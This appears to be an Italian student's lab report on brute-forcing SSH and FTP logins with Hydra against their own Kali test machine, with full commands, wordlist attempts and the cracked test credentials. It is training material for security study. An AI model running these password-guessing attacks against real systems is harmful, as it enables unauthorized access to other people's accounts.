Relazione 13/12

Il progetto di oggi l'ho svolto creando un utente con il comando sudo adduser test_user inserendo come user test_user e come password testpass, successivamente con il comando sudo service ssh start ho avviato il servizio.

```
┌──(kali㉿kali)-[~]
└─$ sudo adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...

┌──(kali㉿kali)-[~]
└─$ sudo service ssh start

┌──(kali㉿kali)-[~]
└─$ cd /etc/ssh/ssh_config
cd: not a directory: /etc/ssh/ssh_config

┌──(kali㉿kali)-[~]
└─$ cd /etc/ssh/

┌──(kali㉿kali)-[/etc/ssh]
└─$ ls
moduli  ssh_config  ssh_config.d  sshd_config  sshd_config.d  ssh_host_ecdsa_key  ssh_host_ecdsa_key.pub  ssh_host_ed25519_key  ssh_host_ed25519_key.pub  ssh_host_rsa_key  ssh_host_rsa_key.pub

┌──(kali㉿kali)-[/etc/ssh]
└─$ cd ssh_config
cd: not a directory: ssh_config

┌──(kali㉿kali)-[/etc/ssh]
└─$ sudo nano /etc/ssh/sshd_config

┌──(kali㉿kali)-[/etc/ssh]
└─$
```

```
  GNU nano 8.2                                    /etc/ssh/sshd_config

# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile     .ssh/authorized_keys .ssh/authorized_keys2

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
```

ho testato che la connessione funzionasse con ssh test_user@192.168.50.100

```
┌──(kali㉿kali)-[/etc/ssh]
└─$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:CZb9sEbZpjdoa01ewr2mtcl83yF6WbcicdywCHuFAeg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Permission denied, please try again.
test_user@192.168.50.100's password:
Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
┌──(test_user㉿kali)-[~]
└─$ exit
logout
Connection to 192.168.50.100 closed.
```

Successivamente ho attaccato l'autenticazione SSH con Hydra con il comando

hydra -L users.txt -P password.txt 192.168.50.100 –T4 ssh

```
┌──(kali㉿kali)-[/etc/ssh]
└─$ cd

┌──(kali㉿kali)-[~]
└─$ sudo nano users.txt

┌──(kali㉿kali)-[~]
└─$ sudo nano password.txt

┌──(kali㉿kali)-[~]
└─$ hydra -L
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

hydra: option requires an argument -- 'L'

┌──(kali㉿kali)-[~]
└─$ hydra -L users.txt -P password.txt 192.168.50.100 -T4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 04:42:21
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1640 login tries (l:40/p:41), ~410 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[22][ssh] host: 192.168.50.100   login: test_user   password: testpass
[ERROR] all children were disabled due too many connection errors
0 of 1 target successfully completed, 1 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 04:43:01
```

Aggiungendo –V ho visualizzato un'output dettagliato e informazioni in tempo reale su ciascun tentativo effettuato durante l'attacco.

```
└─$ hydra -L users.txt -P password.txt 192.168.50.100 -V -T4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 04:46:09
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1640 login tries (l:40/p:41), ~410 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test_user" - 1 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "admin_user" - 2 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "guest_account" - 3 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "root_admin" - 4 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "secure_login" - 5 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "john_doe" - 6 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "jane_doe" - 7 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "hacker_one" - 8 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "sql_injector" - 9 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password_hunter" - 10 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "cyber_warrior" - 11 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "net_explorer" - 12 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "anonymous_007" - 13 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "exploit_master" - 14 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "shadow_user" - 15 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "admin_panel" - 16 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "super_secure" - 17 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "random_guest" - 18 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "vuln_checker" - 19 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "data_miner" - 20 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "ethical_hacker" - 21 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "brute_force_123" - 22 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "dark_net_user" - 23 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "admin_login" - 24 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "cyber_guardian" - 25 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test_account" - 26 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "pentest_user" - 27 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "zero_day_123" - 28 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "dev_null" - 29 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "sql_master" - 30 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "admin_guest" - 31 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "user_placeholder" - 32 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "default_user" - 33 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "public_access" - 34 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "system_root" - 35 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "shell_master" - 36 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "code_breaker" - 37 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "bug_hunter" - 38 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "network_admin" - 39 of 1640 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "forensic_user" - 40 of 1640 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 41 of 1640 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "test_user" - 42 of 1640 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "admin_user" - 43 of 1640 [child 0] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "test_user" - 43 of 1640 [child 2] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "admin_user" - 43 of 1640 [child 0] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "test_user" - 43 of 1640 [child 2] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "admin_user" - 43 of 1640 [child 0] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "test_user" - 43 of 1640 [child 2] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "admin_user" - 43 of 1640 [child 0] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "test_user" - 43 of 1640 [child 2] (0/0)
[22][ssh] host: 192.168.50.100   login: test_user   password: testpass
[ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "guest_account" - 44 of 1640 [child 3] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "admin_user" - 44 of 1640 [child 0] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "test_user" - 44 of 1641 [child 2] (0/1)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "guest_account" - 44 of 1642 [child 3] (0/2)
[ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "root_admin" - 45 of 1643 [child 1] (0/3)
[RE-ATTEMPT] target 192.168.50.100 - login "admin_user" - pass "root_admin" - 45 of 1643 [child 1] (0/3)
[ERROR] all children were disabled due too many connection errors
0 of 1 target successfully completed, 1 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 04:46:43
```

Nella seconda fase

Ho creato nuovamente un utente che ho chiamato test_user2 e password passtest

Con questi comandi, ho configurato e avviato un server FTP `sudo apt-get install vsftpd` e `service vsftpd start`

`Ho provato diversi comandi per fare delle prove e dei test`

```
File  Actions  Edit  View  Help
└─$ sudo adduser test_user2
info: Adding user `test_user2' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user2' (1002) ...
info: Adding new user `test_user2' (1002) with group `test_user2 (1002)' ...
info: Creating home directory `/home/test_user2' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user2
Enter the new value, or press ENTER for the default
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user2' to supplemental / extra groups `users' ...
info: Adding user `test_user2' to group `users' ...

┌──(kali㉿kali)-[/etc]
└─$ ftp localhost

Trying [::1]:21 ...
Connected to localhost.
220 (vsFTPd 3.0.3)
Name (localhost:kali): test_user2
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ftp> xit
?Invalid command.
ftp> exit
221 Goodbye.
```

```
└─$ hydra -L username.txt -P psw.txt 192.168.50.100 -V -T4 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws a
nd ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 05:37:18
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1600 login tries (l:40/p:40), ~400 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "test_user2" - pass "passtest" - 1 of 1600 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user2" - pass "admin_login" - 2 of 1600 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user2" - pass "guest_account" - 3 of 1600 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user2" - pass "super_admin" - 4 of 1600 [child 3] (0/0)
[21][ftp] host: 192.168.50.100   login: test_user2   password: passtest
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "passtest" - 41 of 1600 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "admin_login" - 42 of 1600 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "guest_account" - 43 of 1600 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "super_admin" - 44 of 1600 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "ftp_user" - 45 of 1600 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "test_account" - 46 of 1600 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "anonymous_ftp" - 47 of 1600 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "secure_user" - 48 of 1600 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "random_login" - 49 of 1600 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "cyber_explorer" - 50 of 1600 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "shadow_hacker" - 51 of 1600 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "backup_admin" - 52 of 1600 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "ftp_test" - 53 of 1600 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "file_transfer" - 54 of 1600 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "upload_user" - 55 of 1600 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "net_guest" - 56 of 1600 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "default_login" - 57 of 1600 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "system_user" - 58 of 1600 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "vuln_tester" - 59 of 1600 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "hacker_user" - 60 of 1600 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "data_checker" - 61 of 1600 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "ethical_user" - 62 of 1600 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "brute_force" - 63 of 1600 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "test_subject" - 64 of 1600 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "public_ftp" - 65 of 1600 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "zero_access" - 66 of 1600 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "debug_user" - 67 of 1600 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "penetration_tester" - 68 of 1600 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin_login" - pass "exploit_checker" - 69 of 1600 [child 0] (0/0)
```

```
┌──(kali㉿kali)-[~]
└─$ hydra -L username.txt -P psw.txt ftp://192.168.50.100
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws a
nd ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 05:40:55
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1600 login tries (l:40/p:40), ~100 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[21][ftp] host: 192.168.50.100   login: test_user2   password: passtest
[STATUS] 312.00 tries/min, 312 tries in 00:01h, 1288 to do in 00:05h, 16 active
[STATUS] 306.67 tries/min, 920 tries in 00:03h, 680 to do in 00:03h, 16 active
[STATUS] 302.00 tries/min, 1208 tries in 00:04h, 392 to do in 00:02h, 16 active
[STATUS] 295.80 tries/min, 1479 tries in 00:05h, 121 to do in 00:01h, 16 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 05:46:33
```

```
┌──(kali㉿kali)-[~]
└─$ hydra -L username.txt -P psw.txt -t4 ftp://192.168.50.100
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 06:37:32
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1600 login tries (l:40/p:40), ~400 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[21][ftp] host: 192.168.50.100   login: test_user2   password: passtest
[STATUS] 109.00 tries/min, 109 tries in 00:01h, 1491 to do in 00:14h, 4 active
[STATUS] 85.33 tries/min, 256 tries in 00:03h, 1344 to do in 00:16h, 4 active
[STATUS] 75.43 tries/min, 528 tries in 00:07h, 1072 to do in 00:15h, 4 active
[STATUS] 74.00 tries/min, 888 tries in 00:12h, 712 to do in 00:10h, 4 active
[STATUS] 73.18 tries/min, 1244 tries in 00:17h, 356 to do in 00:05h, 4 active
[STATUS] 72.45 tries/min, 1594 tries in 00:22h, 6 to do in 00:01h, 4 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 06:59:40
```

Ho trovato molto stimolante svolgere questo esercizio pratico.

Successivamente mi sono dedicata all’extra .